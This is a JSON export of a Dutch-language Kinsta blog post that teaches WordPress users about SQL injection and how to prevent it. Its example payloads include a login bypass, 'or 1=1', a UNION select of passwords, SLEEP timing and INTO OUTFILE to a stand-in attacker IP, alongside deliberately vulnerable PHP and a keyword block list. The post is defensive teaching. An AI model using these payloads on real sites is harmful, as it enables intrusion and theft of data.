{"id":29380,"date":"2020-01-23T07:29:01","date_gmt":"2020-01-23T15:29:01","guid":{"rendered":"https:\/\/staging.kinsta.site\/?p=62827"},"modified":"2022-07-13T10:34:30","modified_gmt":"2022-07-13T08:34:30","slug":"sql-injecties","status":"publish","type":"post","link":"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/","title":{"rendered":"SQL-injecties: een beginnershandleiding voor gebruikers van WordPress"},"content":{"rendered":"<p>SQL (Structured Query Language) is een taal waarmee we met <a href=\"https:\/\/staging.kinsta.site\/nl\/kennisbank\/wordpress-database\/\">databases<\/a> kunnen communiceren. Moderne webapplicaties gebruiken databases om gegevens te beheren en dynamische inhoud weer te geven aan lezers.<\/p>\n<p>SQL-injectie, of SQLi, is een aanval op een <span style=\"text-decoration: underline\">webapplicatie<\/span> door de database te hacken middels kwaadaardige SQL-instructies.<\/p>\n<p>Aangezien het een veel voorkomende aanval is, is het zinvol om meer te weten te komen over wat het is, hoe het gebeurt en hoe je je ertegen kan verdedigen.<\/p>\n<p>Klaar voor de start? Af!<\/p>\n<div><\/div><kinsta-auto-toc heading=\"Table of Contents\" exclude=\"last\" list-style=\"arrow\" selector=\"h2\" count-number=\"-1\"><\/kinsta-auto-toc>\n<h2>Wat zijn SQL-injecties?<\/h2>\n<p>SQL-injectie, of SQLi, is een type aanval op een webtapplicatie waarmee een aanvaller kwaadaardige SQL-instructies in de webapplicatie kan toevoegen, mogelijk toegang krijgt tot gevoelige gegevens in de database of deze gegevens vernietigt. SQL-injectie werd voor het eerst ontdekt door Jeff Forristal in 1998.<\/p>\n<p>In de twee decennia sinds zijn ontdekking is SQL-injectie consequent de topprioriteit van <a href=\"https:\/\/staging.kinsta.site\/nl\/blog\/wordpress-ontwikkelaar-huren\/\">webontwikkelaars<\/a> geweest bij het ontwerpen van applicaties.<\/p>\n<p>Barclaycard schatte in 2012 dat <a href=\"https:\/\/www.techworld.com\/news\/security\/barclays-97-percent-of-data-breaches-still-due-sql-injection-3331283\/\">97% van de datalekken beginnen met een SQL-injectieaanval<\/a>. Ook vandaag de dag komen SQL-injecties veel voor en de ernst van deze aanvallen worden door slechts weinigen nog onderschat. Volgens OWASP is het <a href=\"https:\/\/www.owasp.org\/images\/7\/72\/OWASP_Top_10-2017_%28en%29.pdf.pdf\">een van tien belangrijkste beveiligingsrisico&#8217;s<\/a>.<\/p>\n<h2>Hoe werken beveiligingslekken met betrekking tot SQL-injecties?<\/h2>\n<p>Een SQL-injectie beveiligingslek geeft een aanvaller complete toegang tot de database van je applicatie door het gebruik van kwaadaardige SQL-instructies.<\/p>\n<p>In dit gedeelte geven we een voorbeeld van hoe een kwetsbare applicatie eruitziet.<\/p>\n<p>Stel je de workflow voor van een typische webapplicatie waarbij database-aanvragen via userinput worden gemaakt. De userinput wordt gedaan via een formulier, bijvoorbeeld een <a href=\"https:\/\/staging.kinsta.site\/nl\/blog\/wordpress-login-url\/\">inlogformulier<\/a>. Vervolgens voer je een query uit in je database met de velden die door de gebruiker zijn ingediend om ze te verifi\u00ebren. De structuur van de query naar je database ziet er ongeveer zo uit:<\/p>\n<pre><code class=\"language-sql\">select * from user_table\nwhere\u00a0username = 'sdaityari'\nand\u00a0password = 'mypassword';\n<\/code><\/pre>\n<p>Laten we er voor de eenvoud van uitgaan dat je je wachtwoorden als platte tekst opslaat. Het is echter een goede gewoonte om <a href=\"https:\/\/staging.kinsta.site\/nl\/kennisbank\/wordpress-salt-codes\/\">je wachtwoorden te salten<\/a> en vervolgens te hashen. Als je de gebruikersnaam en het wachtwoord van het formulier hebt ontvangen, kan je de query in PHP als volgt defini\u00ebren:<\/p>\n<pre><code class=\"language-php\">\/\/ Connect to SQL database\n$db_query = \"select * from user_table where\nusername = '\".$user.\"'\nAND password = '\".$password.\"';\";\n\/\/ Execute query\n<\/code><\/pre>\n<p>Als iemand de waarde &#8220;admin&#8217;;\u2013&#8221; invoert in het veld username, is de resulterende SQL-query die de variabele $db_query genereert als volgt:<\/p>\n<pre><code class=\"language-sql\">select * from user_table where\nusername = 'admin';--' and password = 'mypassword'\n<\/code><\/pre>\n<p>Wat doet deze query?<\/p>\n<p>Een opmerking in SQL start met dubbele streepjes (&#8211;). De resulterende zoekopdracht filtert alleen op de gebruikersnaam zonder rekening te houden met het wachtwoord. Als er geen beveiliging is ingebouwd die dit belet, dan kan je met deze truc doodeenvoudig beheerdersrechten krijgen voor deze webapplicatie.<\/p>\n<p>Als alternatief kan in dit voorbeeld ook een boolean aanval worden gebruikt om toegang te krijgen. Als een aanvaller &#8220;password&#8217; or 1=1;\u2013&#8221; in het wachtwoordveld invoert, dan ziet de resulterende query er als volgt uit:<\/p>\n<pre><code class=\"language-sql\">select * from user_table where\nusername = 'admin' and\npassword = 'password' or 1=1;--';\n<\/code><\/pre>\n<p>In dit geval, zelfs als je wachtwoord onjuist is, krijg je toegang tot de applicatie. Als je webpagina de resultaten van de databasequery weergeeft, dan kan je aanvaller de opdracht show tables gebruiken, een opdracht uitvoeren om de tabellen in de database te zien en vervolgens selectief tabellen verwijderen als ze dat willen.<\/p>\n<figure style=\"width: 666px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2019\/11\/een-cartoon-over-1-1.png\" alt=\"Een cartoon over SQL-injectie\" width=\"666\" height=\"205\"><figcaption class=\"wp-caption-text\">Een cartoon over SQL-injectie (bron: <a href=\"https:\/\/xkcd.com\/327\/\">XKCD<\/a>)<\/figcaption><\/figure>\n<p>Exploits of a Mom, een populaire strip van XKCD, toont het gesprek van een moeder met de school van haar zoon, waar ze wordt gevraagd of ze haar zoon echt \u201cRobert\u2019); DROP TABLE Students; \u2013\u201d heeft genoemd.<\/p>\n<h2>Soorten SQL-injectie<\/h2>\n<p>Nu je de basisprincipes kent van kwetsbaarheden rond SQL-injecties, gaan we de verschillende soorten SQL-injectieaanvallen onderzoeken en de reden achter elk van deze aanvallen.<\/p>\n<h3>In-band SQL-injectie<\/h3>\n<p>In-band SQL-injectie is de eenvoudigste vorm van SQL-injectie. In dit proces kan de aanvaller hetzelfde kanaal gebruiken om de schadelijke SQL-code in de toepassing in te voegen en de resultaten te verzamelen. We zullen twee vormen van in-band SQL-injectieaanvallen bespreken:<\/p>\n<h4>Error-based aanval<\/h4>\n<p>Een aanvaller gebruikt een error-based SQL-injectietechniek tijdens de eerste fasen van zijn aanval. Het idee achter een error-based SQL-injectie is om meer informatie te krijgen over de databasestructuur en tabelnamen van de webapplicatie. Een foutbericht kan bijvoorbeeld de tabelnaam blootleggen die is opgenomen in de query, maar ook de kolomnamen van de tabel. Deze gegevens kunnen vervolgens worden gebruikt om nieuwe aanvallen op te zetten.<\/p>\n<h4>Union-based aanvallen<\/h4>\n<p>Bij deze methode kan een aanvaller de SQL union join gebruiken om de resultaten van een andere table weer te geven. Als een aanvaller zich bijvoorbeeld op een <a href=\"https:\/\/staging.kinsta.site\/nl\/blog\/wordpress-zoekfunctie\/\">zoekpagina<\/a> bevindt, dan kunnen ze de resultaten van een andere tabel toevoegen.<\/p>\n<pre><code class=\"language-sql\">select title, link from post_table\nwhere id &lt; 10\nunion\nselect username, password\nfrom user_table; --;\n<\/code><\/pre>\n<h3>Inferenti\u00eble SQL-injectie (blinde SQL-injectie)<\/h3>\n<p>Zelfs als een aanvaller een foutmelding in de SQL-query genereert, wordt het antwoord van de query niet altijd rechtstreeks naar de webpagina verzonden. In dat geval moet de aanvaller verder zoeken.<\/p>\n<p>In deze vorm van SQL-injectie stuurt de aanvaller verschillende query&#8217;s naar de database om te kijken hoe de toepassing deze antwoorden analyseert. Een inferenti\u00eble SQL-injectie wordt ook wel een <strong>blinde SQL-injectie<\/strong> genoemd. Hieronder zullen we twee soorten inferenti\u00eble SQL-injecties bekijken, boolean SQL-injectie en time-based SQL-injectie.<\/p>\n<h4>Boolean aanval<\/h4>\n<p>Als een SQL-query resulteert in een fout die niet intern in de toepassing kan worden verwerkt, kan de resulterende webpagina een foutmelding geven, een lege pagina laden of slechts gedeeltelijk laden. In een boolean SQL-injectie beoordeelt een aanvaller welke delen van de invoer van een gebruiker kwetsbaar zijn voor SQL-injecties door twee verschillende versies van een Booleaanse clausule te testen via de volgende input:<\/p>\n<ul>\n<li>&#8220;\u2026 and 1=1&#8221;<\/li>\n<li>&#8220;\u2026 and 1=2&#8221;<\/li>\n<\/ul>\n<p>Als de toepassing normaal werkt in het eerste geval, maar in het tweede geval een afwijking vertoont, geeft dit aan dat de toepassing kwetsbaar is voor een SQL-injectie.<\/p>\n<h4>Time-based aanval<\/h4>\n<p>Ook een time-based SQL-injectie kan een aanvaller helpen <a href=\"https:\/\/staging.kinsta.site\/nl\/kennisbank\/een-beveiligingslek-melden\/\">te bepalen of een kwetsbaarheid aanwezig<\/a> is in een webapplicatie. Een aanvaller gebruikt een vooraf gedefinieerde, op tijd gebaseerde functie van het databasebeheersysteem dat door de toepassing wordt gebruikt. <a href=\"https:\/\/staging.kinsta.site\/nl\/kennisbank\/wat-is-mysql\/\">In MySQL<\/a> geeft <a href=\"http:\/\/dev.mysql.com\/doc\/refman\/5.0\/en\/miscellaneous-functions.html#function_sleep\">de functie sleep()<\/a> de database bijvoorbeeld de opdracht om een bepaald aantal seconden te wachten.<\/p>\n<pre><code class=\"language-sql\">select * from comments\nWHERE post_id=1-SLEEP(15);\n<\/code><\/pre>\n<p>Als een dergelijke zoekopdracht vertraging oplevert, weet de aanvaller dat deze kwetsbaar is.<\/p>\n<h3>Out-of-band SQL-injectie<\/h3>\n<p>Als een aanvaller niet in staat is om de resultaten van een SQL-injectie via hetzelfde kanaal te verzamelen. Out-of-band SQL-injectietechnieken kunnen worden gebruikt als alternatief voor inferenti\u00eble SQL-injectietechnieken.<\/p>\n<p>Meestal gaat het bij deze technieken om het verzenden van gegevens uit de database naar een locatie die door de aanvaller wordt bepaald. Dit proces is ook sterk afhankelijk van de mogelijkheden van het databasebeheersysteem.<\/p>\n<p>Een out-of-band SQL-injectie-aanval maakt gebruik van de externe bestandsprocessen van je DBMS. In MySQL kunnen de functies LOAD_FILE() en INTO OUTFILE worden gebruikt om MySQL te vragen de gegevens naar een externe bron te verzenden. Dit is hoe een aanvaller OUTFILE kan gebruiken om de resultaten van een zoekopdracht naar een externe bron te sturen:<\/p>\n<pre><code class=\"language-sql\">select * from post_table\ninto OUTFILE '\\\\\\\\MALICIOUS_IP_ADDRESS\\location'\n<\/code><\/pre>\n<p>Evenzo kan de functie LOAD_FILE() worden gebruikt om een bestand van de server te lezen en de inhoud ervan weer te geven. Een combinatie van LOAD_FILE() en OUTFILE kan worden gebruikt om de inhoud van een bestand op de server te lezen en vervolgens naar een andere locatie te verzenden.<\/p>\n<h2>Hoe SQL-injecties te voorkomen<\/h2>\n<p>Tot nu toe hebben we de kwetsbaarheden onderzocht die binnen webapplicaties kunnen leiden tot SQL-injectieaanvallen. Een kwetsbaarheid voor SQL-injectie kan door een aanvaller worden gebruikt om de inhoud van je database te lezen, te wijzigen of zelfs te verwijderen.<\/p>\n<p>Bovendien kan het iemand ook in staat stellen om een bestand op elke locatie binnen de server te lezen en de inhoud naar een andere plek te versturen. In dit gedeelte onderzoeken we verschillende technieken om je webapplicatie en website te beschermen tegen SQL-injectieaanvallen.<\/p>\n<h3>Userinput escapen<\/h3>\n<p>Over het algemeen is het lastig om te bepalen of een userstring kwaadaardig is of niet. De beste manier om dit te verhelpen is om speciale tekens in userinput te escapen.<\/p>\n<p>Dit proces behoedt je voor een SQL-injectieaanval. Je kan een string escapen &#8211; voordat je de query in <a href=\"https:\/\/staging.kinsta.site\/nl\/blog\/is-php-dood\/\">PHP<\/a> samenstelt &#8211; met de <code>mysql_escape_string() function<\/code>. Ook kan je in MySQL een string escapen met de functie <code>mysqli_real_escape_string()<\/code><\/p>\n<p>Bij het tonen van de output &#8211; in HTML &#8211; moet je er wel voor zorgen dat je de string converteert zodat de speciale tekens de HTML-opmaak niet verstoren. Je kan speciale tekens in PHP converteren met de functie <code>htmlspecialchars()<\/code>.<\/p>\n<h3>Prepared statements gebruiken<\/h3>\n<p>Als alternatief om SQL-injecties te voorkomen, kan je prepared statements gebruiken. Een prepared statement is een template van een SQL-query, waar je in een later stadium parameters opgeeft om deze uit te voeren. Hier een voorbeeld van een prepared statement in PHP en MySQLi.<\/p>\n<pre><code class=\"language-php\">$query = $mysql_connection-&gt;prepare(\"select * from user_table where username = ? and password = ?\");\n$query-&gt;execute(array($username, $password));<\/code><\/pre>\n<h3>Andere best practices om SQL-aanvallen te voorkomen<\/h3>\n<p>De volgende stap om dit beveiligingslek te verminderen, is de toegang tot de database te beperken tot alleen wat nodig is.<\/p>\n<p>Verbind bijvoorbeeld je webapplicatie met het DBMS met behulp van een specifieke gebruiker, die alleen toegang heeft tot de relevante database.<\/p>\n<p>Beperk de toegang van de database-gebruiker tot alle andere locaties van de server. Mogelijk wil je ook bepaalde SQL-keywords in de URL blokkeren. Als je <a href=\"https:\/\/staging.kinsta.site\/nl\/blog\/nginx-vs-apache\/\">Apache<\/a> als webserver gebruikt, kan je de volgende coderegels aan je <a href=\"https:\/\/staging.kinsta.site\/nl\/kennisbank\/wordpress-htaccess-bestand\/\">.htaccess-bestand<\/a> toevoegen om een 403 Forbidden foutmelding weer te geven aan een potenti\u00eble aanvaller.<\/p>\n<p>Wees wel voorzichtig, want ook normale lezers zullen deze foutmelding te zien krijgen wanneer een URL een van deze woorden bevat.<\/p>\n<pre><code>RewriteCond %{QUERY_STRING} [^a-z](declare\u00a6char\u00a6set\u00a6cast\u00a6convert\u00a6delete\u00a6drop\u00a6exec\u00a6insert\u00a6meta\u00a6script\u00a6select\u00a6truncate\u00a6update)[^a-z] [NC]\nRewriteRule (.*) - [F]<\/code><\/pre>\n<aside role=\"note\" class=\"wp-block-kinsta-notice is-style-info\">\n            <h3>Info<\/h3>\n        <p>Kinsta voert WordPress uit op de Nginx-webserver, die geen .htaccess-bestand ondersteunt. Als je een regel wilt instellen om zoekwoorden in jouw URL te blokkeren, neem dan contact op met het <a href=\"https:\/\/staging.kinsta.site\/docs\/wordpress-support-ticket\/\">supportteam van Kinsta<\/a> en zij kunnen je helpen.<\/p>\n<\/aside>\n\n<p>Een extra tip is om te zorgen dat je altijd software gebruikt die is <a href=\"https:\/\/staging.kinsta.site\/nl\/blog\/wordpress-gehackt\/#2-keep-your-site-updated\">bijgewerkt<\/a>. Wanneer een nieuwe versie of een patch wordt uitgebracht, worden de bugs die in de update zijn opgelost gedetailleerd beschreven in de release-opmerkingen. Daarom is het ook noodzakelijk om zo snel mogelijk bij te werken, de beveiligingslekken zijn immers voor iedereen bekend.<\/p>\n<h2>SQL-injectie in WordPress<\/h2>\n<p>Je bent beveiligd tegen SQL-kwetsbaarheid als je <a href=\"https:\/\/staging.kinsta.site\/knowledgebase\/wordpress-core\/\">actuele WordPress-kernbestanden<\/a> gebruikt. Wanneer je echter <a href=\"https:\/\/staging.kinsta.site\/nl\/beste-wordpress-themas\/\">extreme thema&#8217;s<\/a> en plugins gebruikt, loopt je hele applicatie risico.<\/p>\n<p><strong>Je WordPress-installatie is zo sterk als de zwakste schakel<\/strong>. In deze sectie bespreken we de belangrijkste overwegingen om de kwetsbaarheid van SQL-injecties in WordPress te verminderen en hoe je kwetsbaarheidscontroles kan uitvoeren op je bestaande WordPress-site.<\/p>\n<h3>Preventie van SQL-kwetsbaarheden in WordPress<\/h3>\n<p>Om te zorgen dat je <a href=\"https:\/\/staging.kinsta.site\/nl\/blog\/een-thema-installeren-wordpress\/\">WordPress-thema<\/a> of plugin minder kwetsbaar wordt voor SQL-injecties, is de voornaamste regel dat deze gebruik maakt van <a href=\"https:\/\/developer.wordpress.org\/reference\/functions\/\">bestaande WordPress-functies<\/a> bij interactie met de database.<\/p>\n<p>Tijdens het WordPress-ontwikkelingsproces worden deze functies grondig getest op kwetsbaarheden voor SQL-injecties. Als je bijvoorbeeld een reactie bij een bericht wil plaatsen, gebruik dan de functie <a href=\"https:\/\/developer.wordpress.org\/reference\/functions\/wp_insert_comment\/\">wp_insert_comment()<\/a> in plaats van het rechtstreeks plaatsen van reacties in de tabel van wp_comments.<\/p>\n<p>Hoewel functies voor veel dingen te gebruiken zijn, moet je soms een complexe query uitvoeren. Zorg in dat geval dat je gebruik maakt van de <a href=\"https:\/\/developer.wordpress.org\/reference\/classes\/wpdb\/\">groep functies van $wp_db<\/a>. Ook kan je gebruik maken van $wpdb-&gt;prepare() om de userinput te escapen voordat je de query maakt.<\/p>\n<p>Verder is hier nog een <a href=\"https:\/\/developer.wordpress.org\/themes\/theme-security\/data-sanitization-escaping\/\">lijst met functies voor het opschonen van data<\/a> in WordPress. Hiermee kan je specifieke soorten userinput escapen, zoals e-mails en URL&#8217;s.<\/p>\n<h3>Je WordPress-site beveiligen<\/h3>\n<p>Hoewel <a href=\"https:\/\/staging.kinsta.site\/nl\/blog\/is-wordpress-veilig\/\">WordPress zelf veilig<\/a> is, kunnen problemen zoals verouderde kernsoftware en <a href=\"https:\/\/staging.kinsta.site\/nl\/blog\/nulled-wordpress-plugins-themas\/\">nulled plugins<\/a> wel tot kwetsbaarheden leiden. Door de complexiteit van jouw site kan het een behoorlijke opgave zijn om deze te checken op kwetsbaarheid voor SQL-injecties, maar helaas is er geen alternatief.<\/p>\n<p>Je kan een online scantool gebruiken, zoals <a href=\"https:\/\/db.threatpress.com\/\">ThreatPass<\/a> en <a href=\"https:\/\/wpscan.org\/\">WPScan<\/a> Vulnerability Database. Je kan je plugins controleren en kijken of ze nog wel bijgewerkt worden. Als dat inmiddels niet meer gebeurt, is het misschien geen goed idee om ze op jouw site te gebruiken.<\/p>\n<p>Als je ze echt absoluut nodig hebt, zorg dan dat je de code en features zorgvuldig test op kwetsbaarheden. Daarnaast, zorg ook dat je de volgende veiligheidschecks uitvoert:<\/p>\n<ul>\n<li>PHP, WordPress-kern en MySQL updaten<\/li>\n<li>Externe plugins en thema&#8217;s updaten<\/li>\n<li>Niet de rootgebruiker gebruiken om te verbinden met de SQL-database<\/li>\n<li>Toegang beperken van SQL-gebruikers tot gevoelige mappen<\/li>\n<li>Met je server SQL-keywords blokkeren<\/li>\n<li>Back-ups van je site maken in geval van onherstelbare schade<\/li>\n<\/ul>\n<p>Hier is een <a href=\"https:\/\/staging.kinsta.site\/nl\/blog\/wordpress-beveiliging\/\">informatief artikel over WordPress Security<\/a> en een uitgebreide lijst met checks. Verder wil je misschien kijken naar deze <a href=\"https:\/\/staging.kinsta.site\/nl\/blog\/wordpress-beveiligingsplugins\/\">beveiligingsplugins voor WordPress<\/a>. En dit is wat je moet doen als <a href=\"https:\/\/staging.kinsta.site\/nl\/blog\/wordpress-gehackt\/\">je site t\u00f3ch is gehackt<\/a>.<\/p>\n<aside role=\"note\" class=\"wp-block-kinsta-notice is-style-info\">\n            <h3>Info<\/h3>\n        <p>Kinsta biedt al zijn klanten een <a href=\"https:\/\/staging.kinsta.site\/nl\/kennisbank\/malware-security\/\">belofte van malwarebeveiliging<\/a>\u00a0voor alle pakketten.<\/p>\n<\/aside>\n\n<h2>Is SQL-injectie illegaal?<\/h2>\n<p>Jazeker! Hoewel het om een kwetsbaarheid gaat, is het nog steeds zo dat een aanvaller toegang probeert te krijgen tot gegevens waar ze anders geen toegang tot hadden.<\/p>\n<p>Stel je een scenario voor waarin iemand zijn sleutels in de auto achterlaat. Is ermee wegrijden een overtreding, alleen maar omdat deze open en onbeheerd werd achtergelaten? De handeling van SQLi valt in elk land onder een verschillende wet. In de VS valt het onder de <a href=\"https:\/\/www.justice.gov\/sites\/default\/files\/criminal-ccips\/legacy\/2015\/01\/14\/ccmanual.pdf\">Computer Fraud and Abuse Act (1986) in de VS<\/a> en in het VK onder de <a href=\"http:\/\/www.legislation.gov.uk\/ukpga\/1990\/18\/contents\">Computer Misuse Act (1990) in het VK<\/a>.<\/p>\n\n<h2>Samenvatting<\/h2>\n<p>SQL-injecties bestaan al heel lang. <a href=\"https:\/\/www.webarxsecurity.com\/website-hacking-statistics-2018-february\/\">Een rapport uit 2018 over gehackte websites<\/a> vertelt echter dat SQLi de meest voorkomende website-hack voor WordPress is &#8211; na XSS-aanvallen. Om te voorkomen dat ze plaatsvinden, moet je:<\/p>\n<ul>\n<li>Begrijpen hoe de SQL-injecties werken<\/li>\n<li>Een idee hebben van de SQLi-methodes die aanvallers gebruiken om ongeautoriseerde toegang tot je webapplicatie te krijgen<\/li>\n<li>Methodes implementeren om je website te beschermen tegen SQLi-aanvallen, zoals het escapen van userinput en het gebruik van prepared statements<\/li>\n<li>Een routine volgen om de beveiliging te checken<\/li>\n<\/ul>\n<p>Zoals het gezegde gaat: &#8220;Voorkomen is beter dan genezen!&#8221;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQL (Structured Query Language) is een taal waarmee we met databases kunnen communiceren. Moderne webapplicaties gebruiken databases om gegevens te beheren en dynamische inhoud weer te &#8230;<\/p>\n","protected":false},"author":118,"featured_media":29383,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_kinsta_gated_content":false,"_kinsta_gated_content_redirect":"","footnotes":""},"tags":[245,199],"topic":[],"class_list":["post-29380","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","tag-sitesecurity","tag-wordpresshack"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v17.1.2 (Yoast SEO v25.8) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>SQL-injecties: een beginnershandleiding voor gebruikers van WordPress<\/title>\n<meta name=\"description\" content=\"Leer wat SQL-injecties zijn, hoe kwetsbaarheden rond SQL-injecties zich manifesteren in webapplicaties (bv. WordPress-sites) en hoe je preventief handelt.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/\" \/>\n<meta property=\"og:locale\" content=\"nl_NL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SQL-injecties: een beginnershandleiding voor gebruikers van WordPress\" \/>\n<meta property=\"og:description\" content=\"Leer wat SQL-injecties zijn, hoe kwetsbaarheden rond SQL-injecties zich manifesteren in webapplicaties (bv. WordPress-sites) en hoe je preventief handelt.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/\" \/>\n<meta property=\"og:site_name\" content=\"Kinsta\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Kinsta-Nederland-476213452787823\/\" \/>\n<meta property=\"article:published_time\" content=\"2020-01-23T15:29:01+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-07-13T08:34:30+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/01\/sql-injecties.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1460\" \/>\n\t<meta property=\"og:image:height\" content=\"730\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Shaumik Daityari\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:description\" content=\"Leer wat SQL-injecties zijn, hoe kwetsbaarheden rond SQL-injecties zich manifesteren in webapplicaties (bv. WordPress-sites) en hoe je preventief handelt.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/01\/sql-injecties.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@Kinsta_NL\" \/>\n<meta name=\"twitter:site\" content=\"@Kinsta_NL\" \/>\n<meta name=\"twitter:label1\" content=\"Geschreven door\" \/>\n\t<meta name=\"twitter:data1\" content=\"Shaumik Daityari\" \/>\n\t<meta name=\"twitter:label2\" content=\"Geschatte leestijd\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minuten\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/\"},\"author\":{\"name\":\"Shaumik Daityari\",\"@id\":\"https:\/\/staging.kinsta.site\/nl\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504\"},\"headline\":\"SQL-injecties: een beginnershandleiding voor gebruikers van WordPress\",\"datePublished\":\"2020-01-23T15:29:01+00:00\",\"dateModified\":\"2022-07-13T08:34:30+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/\"},\"wordCount\":2274,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/staging.kinsta.site\/nl\/#organization\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/01\/sql-injecties.jpg\",\"keywords\":[\"sitesecurity\",\"wordpresshack\"],\"articleSection\":[\"WordPress beveiliging\"],\"inLanguage\":\"nl-NL\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/\",\"url\":\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/\",\"name\":\"SQL-injecties: een beginnershandleiding voor gebruikers van WordPress\",\"isPartOf\":{\"@id\":\"https:\/\/staging.kinsta.site\/nl\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/01\/sql-injecties.jpg\",\"datePublished\":\"2020-01-23T15:29:01+00:00\",\"dateModified\":\"2022-07-13T08:34:30+00:00\",\"description\":\"Leer wat SQL-injecties zijn, hoe kwetsbaarheden rond SQL-injecties zich manifesteren in webapplicaties (bv. WordPress-sites) en hoe je preventief handelt.\",\"breadcrumb\":{\"@id\":\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#breadcrumb\"},\"inLanguage\":\"nl-NL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"nl-NL\",\"@id\":\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#primaryimage\",\"url\":\"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/01\/sql-injecties.jpg\",\"contentUrl\":\"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/01\/sql-injecties.jpg\",\"width\":1460,\"height\":730,\"caption\":\"SQL-injecties\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/staging.kinsta.site\/nl\/blog\/sql-injecties\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/staging.kinsta.site\/nl\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"SQL-injecties: een beginnershandleiding voor gebruikers van WordPress\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/staging.kinsta.site\/nl\/#website\",\"url\":\"https:\/\/staging.kinsta.site\/nl\/\",\"name\":\"Kinsta\",\"description\":\"Snelle, veilige, premium hostingoplossingen\",\"publisher\":{\"@id\":\"https:\/\/staging.kinsta.site\/nl\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/staging.kinsta.site\/nl\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"nl-NL\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/staging.kinsta.site\/nl\/#organization\",\"name\":\"Kinsta\",\"url\":\"https:\/\/staging.kinsta.site\/nl\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"nl-NL\",\"@id\":\"https:\/\/staging.kinsta.site\/nl\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/12\/kinsta.png\",\"contentUrl\":\"https:\/\/staging.kinsta.site\/nl\/wp-content\/uploads\/sites\/7\/2020\/12\/kinsta.png\",\"width\":580,\"height\":580,\"caption\":\"Kinsta\"},\"image\":{\"@id\":\"https:\/\/staging.kinsta.site\/nl\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/Kinsta-Nederland-476213452787823\/\",\"https:\/\/x.com\/Kinsta_NL\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/staging.kinsta.site\/nl\/#\/schema\/person\/090311adf69c72833a140d0ec6a84504\",\"name\":\"Shaumik 